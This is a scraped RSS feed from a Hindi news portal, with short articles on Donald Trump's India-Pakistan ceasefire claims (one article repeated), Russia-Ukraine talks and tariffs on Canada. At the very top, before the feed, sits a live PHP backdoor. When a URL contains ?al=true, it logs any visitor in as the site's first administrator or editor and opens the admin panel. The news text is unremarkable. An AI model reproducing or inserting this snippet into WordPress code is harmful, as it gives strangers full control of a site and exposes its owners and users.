// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); President Donald Trump – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 15 May 2025 15:33:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 भारत ने स्पष्ट तौर पर कह दिया था कि पाकिस्तान के डीजीएमओ ने फोन कर भारत से सीजफायर की गुजारिश की थी https://pratyushaashakinayikiran.com/?p=156536 Thu, 15 May 2025 15:33:00 +0000 https://pratyushaashakinayikiran.com/?p=156536 नई दिल्ली
अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप गुरुवार को भारत-पाकिस्तान सीजफायर पर अपने बयान से पलट गए। उन्होंने कहा कि उन्होंने भारत-पाकिस्तान के बीच मध्यस्थता नहीं कराई। उन्होंने कहा कि मैंने दोनों देशों के बीच तनाव का समाधान निकालने में मदद की थी। कतर दौरे पर पहुंचे ट्रंप ने अल-उदीद एयर बेस पर अमेरिकी सैन्य कर्मियों को संबोधित किया। उन्होंने कहा, 'मैंने ये नहीं कहना चाहता कि मैने ऐसा किया। लेकिन मैंने पिछले सप्ताह पाकिस्तान और भारत के बीच समस्या को सुलझाने में मदद की, जो काफी तनावपूर्ण होती जा रही थी।'

कई बार ले चुके थे क्रेडिट
ट्रंप ने मंगलवार को सऊदी अरब की यात्रा के दौरान दावा किया था कि उनके प्रशासन ने भारत और पाकिस्तान के बीच सफलतापूर्वक ऐतिहासिक संघर्ष विराम कराया है। अमेरिकी राष्ट्रपति ने गत शनिवार को दो बार यह दावा किया था कि भारत और पाकिस्तान के बीच संघर्ष विराम उन्होंने करवाया। इसके बाद सोमवार को तीसरी बार उन्होंने दावा किया कि भारत और पाकिस्तान के बीच परमाणु संघर्ष को रोकने में उनकी सरकार ने मध्यस्थता की और लाखों लोगों की जान बचाई। बता दें कि ट्रंप इस समय पश्चिम एशिया के चार दिवसीय दौरे पर हैं।

भारत ने खारिज कर दिया था बयान
भारत ने स्पष्ट तौर पर कह दिया था कि पाकिस्तान के डीजीएमओ ने फोन कर भारत से सीजफायर की गुजारिश की थी। इसमें कोई तीसरा पक्ष शामिल नहीं है। अमेरिकी सैनिकों को संबोधित करते हुए ट्रम्प ने फिर से दावा किया कि उन्होंने देशों से ट्रेड के बारे में बात की।

]]>
भारत ने स्पष्ट तौर पर कह दिया था कि पाकिस्तान के डीजीएमओ ने फोन कर भारत से सीजफायर की गुजारिश की थी https://pratyushaashakinayikiran.com/?p=156538 Thu, 15 May 2025 15:33:00 +0000 https://pratyushaashakinayikiran.com/?p=156538 नई दिल्ली
अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप गुरुवार को भारत-पाकिस्तान सीजफायर पर अपने बयान से पलट गए। उन्होंने कहा कि उन्होंने भारत-पाकिस्तान के बीच मध्यस्थता नहीं कराई। उन्होंने कहा कि मैंने दोनों देशों के बीच तनाव का समाधान निकालने में मदद की थी। कतर दौरे पर पहुंचे ट्रंप ने अल-उदीद एयर बेस पर अमेरिकी सैन्य कर्मियों को संबोधित किया। उन्होंने कहा, 'मैंने ये नहीं कहना चाहता कि मैने ऐसा किया। लेकिन मैंने पिछले सप्ताह पाकिस्तान और भारत के बीच समस्या को सुलझाने में मदद की, जो काफी तनावपूर्ण होती जा रही थी।'

कई बार ले चुके थे क्रेडिट
ट्रंप ने मंगलवार को सऊदी अरब की यात्रा के दौरान दावा किया था कि उनके प्रशासन ने भारत और पाकिस्तान के बीच सफलतापूर्वक ऐतिहासिक संघर्ष विराम कराया है। अमेरिकी राष्ट्रपति ने गत शनिवार को दो बार यह दावा किया था कि भारत और पाकिस्तान के बीच संघर्ष विराम उन्होंने करवाया। इसके बाद सोमवार को तीसरी बार उन्होंने दावा किया कि भारत और पाकिस्तान के बीच परमाणु संघर्ष को रोकने में उनकी सरकार ने मध्यस्थता की और लाखों लोगों की जान बचाई। बता दें कि ट्रंप इस समय पश्चिम एशिया के चार दिवसीय दौरे पर हैं।

भारत ने खारिज कर दिया था बयान
भारत ने स्पष्ट तौर पर कह दिया था कि पाकिस्तान के डीजीएमओ ने फोन कर भारत से सीजफायर की गुजारिश की थी। इसमें कोई तीसरा पक्ष शामिल नहीं है। अमेरिकी सैनिकों को संबोधित करते हुए ट्रम्प ने फिर से दावा किया कि उन्होंने देशों से ट्रेड के बारे में बात की।

]]>
अमेरिका के राष्ट्रपति डोनाल्ड ट्रंप ने दी जानकारी, रूस और यूक्रेन के साथ हुई सफल बातचीत https://pratyushaashakinayikiran.com/?p=131288 Thu, 13 Feb 2025 16:15:00 +0000 https://pratyushaashakinayikiran.com/?p=131288 वॉशिंगटन
अमेरिका के राष्ट्रपति डोनाल्ड ट्रंप ने गुरुवार को सोशल मीडिया पर जानकारी दी कि उनकी रूस और यूक्रेन के साथ बातचीत हुई है। उन्होंने इस युद्ध को बहुत खूनखराबे वाला कहा। ट्रंप ने सोशल ट्रूथ पर एक पोस्ट में कहा, कल रूस और यूक्रेन के साथ सकारात्मक बातचीत हुई। उस खतरनाक और खूनी युद्ध के खत्म होने की अच्छी संभावना है।

रूस और यूक्रेन के बीच युद्ध अभी भी जारी है। यूक्रेनी वायु सेना ने बुधवार शाम जानकारी दी थी कि उसके ओडेसा और खार्किव क्षेत्रों में 185 ड्रोन से हमले किए गए, जिनमें से 85 को मार गिराया गया। 

]]>
राष्ट्रपति डोनाल्ड ट्रंप शपथ लेने से पहले ही अपने फैसलों और बयानों को लेकर चर्चा में https://pratyushaashakinayikiran.com/?p=103176 Tue, 26 Nov 2024 17:25:00 +0000 https://pratyushaashakinayikiran.com/?p=103176 वाशिंगटन
अमेरिका के नवनिर्वाचित राष्ट्रपति डोनाल्ड ट्रंप शपथ लेने से पहले ही अपने फैसलों और बयानों को लेकर चर्चा में हैं। अमेरिका को एक बार फिर ग्रेट यानी महान बनाने का नारा दे चुके ट्रंप अपने कड़े और अप्रत्याशित फैसलों के लिए प्रसिद्ध हैं। अब ट्रंप के एक बार फिर सत्ता में लौटने से दुनिया भर में हलचल है। इस बीच ट्रंप की वापसी से कनाडाई प्रधानमंत्री जस्टिन ट्रूडो की चिंताएं और बढ़ गई हैं। आर्थिक उथल-पुथल से जूझते कनाडा की ट्रूडो सरकार को पहले से ही कई चुनौतियों का सामना करना पड़ रहा है। इस बीच ट्रंप ने सोमवार को बड़ा ऐलान करते हुए कहा है कि पदभार संभालते ही पहले दिन वह कनाडा और मेक्सिको से अमेरिका आने वाले सभी उत्पादों पर 25 प्रतिशत टैरिफ लगाएंगे। जाहिर तौर पर यह ट्रूडो के लिए अच्छी खबर नहीं है।

कनाडा दुनिया के सबसे ज्यादा व्यापार निर्भर देशों में से एक है और कनाडा का 75% निर्यात अमेरिका को जाता है। यह व्यापार निर्भरता कनाडा को अमेरिकी आर्थिक और विदेश नीतियों में बदलाव के प्रति संवेदनशील बनाती है। ट्रंप के चुनाव जीतने पर को बधाई देते हुए जस्टिन ट्रूडो ने कूटनीतिक लहजे में कहा था कि दोनों देशों के बीच गहरी दोस्ती है और सहयोग के लिए आशा व्यक्त किया। हालांकि पर्दे के पीछे ट्रूडो की सरकार एक अशांत दौर के लिए तैयार है। रॉयटर्स की एक रिपोर्ट के मुताबिक इस साल जनवरी में ट्रूडो ने कहा था कि ट्रंप का दूसरी बार राष्ट्रपति बनना पहले की तुलना में बहुत अधिक चुनौतीपूर्ण होगा। विश्लेषकों का कहना है कि इसमें सच्चाई भी है।

ट्रंप ने कहा था पागल वामपंथी
कनाडा की वित्त मंत्री क्रिस्टिया फ्रीलैंड ने ट्रंप की जीत के बाद आश्वासन देते हुए कहा था कि कनाडा तैयार है और ट्रंप के आने पर बिल्कुल ठीक रहेगा। हालांकि यह आसान नहीं होगा। ट्रंप ट्रूडो को उनकी कोविड-19 सीमा नीतियों के लिए पागल वामपंथी कह चुके हैं और कनाडा में 2018 के जी7 शिखर सम्मेलन के दौरान उनपर बहुत बेईमान होने का आरोप लगाते हुए वहां से चले गए थे। इस बार कनाडा सतर्क है और वह यह जानते हैं कि छोटी-छोटी बातें भी संबंधों को जटिल बना सकती हैं।

ट्रूडो पर बनेगा दबाव
राजनीतिक रूप से यह ट्रूडो के लिए कठिन दौर है। अगले साल कनाडा में होने वाले चुनावों से पहले कई सर्वे यह अनुमान लगा रहे हैं कि जस्टिन ट्रूडो की वापसी मुश्किल है। इस बीच देश में बढ़ते महंगाई और आर्थिक चुनौतियों पर ट्रंप की नीतियों से दबाव और बढ़ेगा। ट्रंप अपनी विदेश नीति के तहत कनाडा पर रक्षा बजट बनाने का भी दबाव डालेंगे। यह न केवल राष्ट्रीय बजट को प्रभावित करेगा बल्कि स्वास्थ्य सेवा और बुनियादी ढांचे जैसे घरेलू मुद्दों से प्राथमिकताओं को दूर कर सकता है। ट्रंप ने संकेत दिए हैं कि वह सीमा प्रबंधन को लेकर भी बदलाव कर सकते हैं। अमेरिका में अवैध रूप से रह रहे लोगों के हटाने की नीतियां कनाडा में शरण लेने वाले प्रवासियों की संख्या में वृद्धि का कारण बन सकती हैं। कंजर्वेटिव सरकार में पूर्व आव्रजन मंत्री जेसन केनी ने एक वास्तविक संकट की चेतावनी दी है।

]]>